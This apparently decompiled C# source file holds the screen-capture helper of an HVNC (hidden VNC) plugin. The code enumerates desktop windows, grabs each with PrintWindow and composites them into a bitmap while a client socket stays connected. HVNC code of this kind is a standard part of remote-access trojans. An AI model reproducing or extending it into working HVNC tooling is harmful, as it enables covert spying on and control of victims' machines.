127 lines
3.3 KiB
C#
127 lines
3.3 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.Runtime.InteropServices;
|
|
using S;
|
|
using static HVNC.Plugin;
|
|
|
|
namespace VNC
|
|
{
|
|
// Token: 0x02000004 RID: 4
|
|
internal class HelperScreen
|
|
{
|
|
|
|
// Token: 0x0600002D RID: 45
|
|
[DllImport("user32")]
|
|
public static extern bool GetWindowRect(IntPtr hWnd, ref HelperScreen.RECT lpRect);
|
|
|
|
// Token: 0x0600002E RID: 46
|
|
[DllImport("user32.dll")]
|
|
public static extern bool IsWindowVisible(IntPtr hWnd);
|
|
|
|
// Token: 0x0600002F RID: 47
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
public static extern bool EnumDesktopWindows(IntPtr hDesktop, HelperScreen.EnumDelegate lpEnumCallbackFunction, IntPtr lParam);
|
|
|
|
// Token: 0x06000030 RID: 48
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern IntPtr PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
|
|
|
// Token: 0x06000031 RID: 49
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetWindowDC(IntPtr hWnd);
|
|
|
|
// Token: 0x06000032 RID: 50
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
|
|
|
// Token: 0x06000033 RID: 51
|
|
[DllImport("gdi32.dll")]
|
|
public static extern bool DeleteDC(IntPtr hDC);
|
|
|
|
// Token: 0x06000034 RID: 52
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetTopWindow(IntPtr hWnd);
|
|
|
|
// Token: 0x06000035 RID: 53 RVA: 0x00002D70 File Offset: 0x00000F70
|
|
|
|
public static bool List_screen(IntPtr hWnd, int lParam)
|
|
{
|
|
bool result;
|
|
try
|
|
{
|
|
bool flag = HelperScreen.IsWindowVisible(hWnd);
|
|
if (flag)
|
|
{
|
|
bool flag2 = hWnd == IntPtr.Zero;
|
|
if (flag2)
|
|
{
|
|
return false;
|
|
}
|
|
HelperScreen.Num_List.Add(hWnd);
|
|
}
|
|
result = true;
|
|
}
|
|
catch
|
|
{
|
|
result = false;
|
|
}
|
|
return result;
|
|
}
|
|
|
|
// Token: 0x06000036 RID: 54 RVA: 0x00002DCC File Offset: 0x00000FCC
|
|
public static Bitmap GetScreen(int x, int y)
|
|
{
|
|
HelperScreen.Num_List = new List<IntPtr>();
|
|
Bitmap bitmap = new Bitmap(x, y);
|
|
bool flag = HelperScreen.EnumDesktopWindows(IntPtr.Zero, new HelperScreen.EnumDelegate(HelperScreen.List_screen), IntPtr.Zero);
|
|
if (flag)
|
|
{
|
|
for (int i = HelperScreen.Num_List.Count - 1; i > -1; i += -1)
|
|
{
|
|
bool flag2 = !Helper.IsRunning && !ClientSocket.isConnected;
|
|
if (flag2)
|
|
{
|
|
break;
|
|
}
|
|
HelperScreen.RECT rect = default(HelperScreen.RECT);
|
|
IntPtr intPtr = HelperScreen.Num_List[i];
|
|
|
|
|
|
ScreenCapture screenCapture = new ScreenCapture();
|
|
Bitmap image = screenCapture.CaptureWindow(HelperScreen.Num_List[i]);
|
|
HelperScreen.GetWindowRect(HelperScreen.Num_List[i], ref rect);
|
|
using (Graphics graphics = Graphics.FromImage(bitmap))
|
|
{
|
|
graphics.DrawImage(image, rect.Left, rect.Top);
|
|
}
|
|
}
|
|
}
|
|
return bitmap;
|
|
}
|
|
|
|
// Token: 0x04000018 RID: 24
|
|
public static List<IntPtr> Num_List;
|
|
|
|
// Token: 0x02000022 RID: 34
|
|
// (Invoke) Token: 0x0600012B RID: 299
|
|
public delegate bool EnumDelegate(IntPtr hWnd, int lParam);
|
|
|
|
// Token: 0x02000023 RID: 35
|
|
public struct RECT
|
|
{
|
|
// Token: 0x04000094 RID: 148
|
|
public int Left;
|
|
|
|
// Token: 0x04000095 RID: 149
|
|
public int Top;
|
|
|
|
// Token: 0x04000096 RID: 150
|
|
public int Right;
|
|
|
|
// Token: 0x04000097 RID: 151
|
|
public int Bottom;
|
|
}
|
|
}
|
|
}
|